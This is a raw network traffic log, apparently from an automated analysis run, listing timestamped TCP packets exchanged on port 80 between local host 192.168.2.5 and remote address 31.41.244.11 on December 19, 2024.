Dec 19, 2024 03:09:34.973222971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.973268032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.973315954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.974158049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.974209070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.974257946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.974306107 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.975188971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.975239992 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.975279093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.975362062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.976174116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.976228952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.976273060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.976320982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.977164984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.977216005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.977272987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.977324963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.978218079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.978267908 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.117850065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.117928028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.118083000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.118083000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.118225098 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.118283033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.118465900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.118518114 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.118602037 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.118657112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.119463921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.119523048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.119559050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.119610071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.120469093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.120515108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.120585918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.120630026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.121464968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.121510983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.121575117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.121623039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.122412920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.122464895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.122560978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.122606993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.123500109 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.123548031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.123589993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.123636961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.124414921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.124464035 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.124526978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.124573946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.125423908 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.125473022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.125543118 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.125586987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.126422882 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.126471043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.126524925 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.126625061 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.127433062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.127481937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.127526999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.127573013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.128457069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.128501892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.128519058 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.128562927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.129414082 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.129466057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.129518986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.129565954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.130393982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.130445957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.130500078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.130548954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.131398916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.131445885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.131496906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.131541014 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.132400990 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.132446051 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.132503986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.132549047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.133424044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.133470058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.133543015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.133586884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.134403944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.134449959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.134516001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.134562016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.135476112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.135521889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.135669947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.135716915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.136399984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.136444092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.136574984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.136617899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.137399912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.137460947 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.137490034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.137571096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.138442039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.138488054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.138520002 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.138581038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.139431953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.139477968 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.139511108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.139556885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.140386105 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.140434980 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.140487909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.140537024 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.141402006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.141447067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.141484976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.141526937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.142396927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.142445087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.142497063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.142539978 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.143382072 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.143428087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.143503904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.143548012 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.144393921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.144442081 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.144500017 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.144546986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.145373106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.145416021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.145514011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.145562887 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.146393061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.146437883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.146502018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.146591902 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.147419930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.147474051 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.147475004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.147521019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.148415089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.148463011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.148488045 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.148533106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.149398088 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.149451017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.149481058 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.149552107 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.150382042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.150432110 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.150490046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.150536060 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.151375055 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.151427031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.151494026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.151539087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.152369022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.152419090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.152532101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.152579069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.153446913 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.153496027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.153537035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.153582096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.154406071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.154458046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.154490948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.154536009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.155453920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.155503988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.155550003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.155595064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.156450987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.156498909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.156572104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.156616926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.157407045 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.157455921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.157478094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.157522917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.158370018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.158421040 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.158473015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.158519030 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.159533024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.159584045 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.159640074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.159689903 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.160491943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.160542011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.160605907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.160650969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.161395073 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.161442041 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.161470890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.161520958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.162435055 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.162484884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.162524939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.162570953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.163680077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.163732052 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.163784027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.163830042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.164401054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.164447069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.164499998 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.164547920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.165358067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.165407896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.165508032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.165555000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.166352034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.166400909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.166461945 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.166506052 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.167365074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.167417049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.167454958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.167500973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.168365002 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.168421984 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.168458939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.168505907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.169373035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.169431925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.169460058 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.169507027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.310126066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.310223103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.310350895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.310627937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.310698986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.310728073 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.310797930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.311580896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.311650991 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.311683893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.311738968 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.312556028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.312607050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.312673092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.312719107 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.313575029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.313622952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.313673019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.313716888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.314697027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.314779043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.314825058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.315587997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.315711021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.315763950 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.316562891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.316612959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.316694021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.316740036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.317599058 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.317651033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.317678928 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.317723036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.318660975 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.318711996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.318787098 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.318831921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.319588900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.319717884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.319772959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.320544004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.320590019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.320647955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.320696115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.321567059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.321615934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.321687937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.321732044 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.322547913 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.322597980 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.322665930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.322714090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.323579073 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.323688984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.323736906 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.324635983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.324685097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.324708939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.324750900 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.325550079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.325598955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.325663090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.325710058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.326553106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.326657057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.326716900 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.327562094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.327611923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.327672958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.327718019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.328552008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.328600883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.328648090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.328692913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.329643011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.329690933 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.329755068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.329792976 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.330559969 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.330614090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.330667019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.330714941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.331553936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.331604004 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.331720114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.332549095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.332602978 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.332659960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.332706928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.333563089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.333611965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.333770990 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.333812952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.334628105 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.334676027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.334748983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.334791899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.335669041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.335762024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.335813999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.336565971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.336617947 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.336652040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.336700916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.337547064 CET	80	49885	31.41.244.11	192.168.2.5
